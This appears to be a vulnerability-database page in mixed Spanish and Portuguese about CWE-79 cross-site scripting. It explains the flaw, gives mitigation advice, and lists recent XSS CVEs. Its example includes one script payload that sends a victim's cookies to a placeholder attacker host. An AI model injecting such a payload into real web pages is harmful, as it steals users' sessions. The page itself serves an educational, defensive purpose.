Fallos del tipo CWE-79

30.306 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-65592HIGHn8n before 1.123.64 Stored DOM XSS via cachedResultUrlEPSS 0.2%CVE-2021-47962MEDIUMSavsoft Quiz 5.0 Persistent Cross-Site Scripting via User SettingsEPSS 0.2%CVE-2024-13237MEDIUMFile Entity (fieldable files) - Moderately critical - Cross Site Scripting, Access bypass - SA-CONTRIB-2024-001EPSS 0.2%CVE-2025-61797MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-4080MEDIUMEasy Cart <= 1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-56358MEDIUMn8n - Stored Cross-Site Scripting in Form Trigger NodeEPSS 0.2%CVE-2026-33303MEDIUMOpenEMR Vulnerable to Stored XSS via Unescaped portal_login_username in Credential Print ViewEPSS 0.2%CVE-2026-1302MEDIUMMeta-box GalleryMeta <= 3.0.1 - Authenticated (Editor+) Stored Cross-Site Scripting via Image CaptionEPSS 0.2%CVE-2026-56731HIGHZammad: Cross-Site Scripting in Ticket NotificationsEPSS 0.2%CVE-2026-41929MEDIUMVvveb < 1.0.8.2 Unauthenticated Reflected XSS via Visual EditorEPSS 0.2%CVE-2020-37235MEDIUMWordPress Theme Wibar 1.1.8 Stored Cross-Site Scripting via Brand ComponentEPSS 0.2%CVE-2025-10837MEDIUMcode-projects Simple Food Ordering System order.php cross site scriptingEPSS 0.2%CVE-2020-37240MEDIUMQueue Management System 4.0.0 Stored XSS via Add UserEPSS 0.2%CVE-2025-26756HIGHWordPress Magic the Gathering Card Tooltips plugin <= 3.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-62990HIGHShopper: same-origin SVG and HTML uploads enable stored XSS and persistent administrator creationEPSS 0.2%CVE-2026-23725MEDIUMWeGIA Stored Cross-Site Scripting (XSS) – nome Parameter on Adopters Information PageEPSS 0.2%CVE-2026-110849HIGHn8n before 1.123.83, 2.41.4, and 2.42.1 Stored XSS via Binary-Data File PreviewEPSS 0.2%CVE-2026-1754MEDIUMpersonal-authors-category <= 0.3 - Reflected Cross-Site ScriptingEPSS 0.2%CVE-2026-40497HIGHFreeScout Vulnerable to CSS Injection via Stored Style Tag in Mailbox Signature (CSRF Token Exfiltration)EPSS 0.2%CVE-2024-13298MEDIUMTarte au Citron - Moderately critical - Cross Site Scripting - SA-CONTRIB-2024-064EPSS 0.2%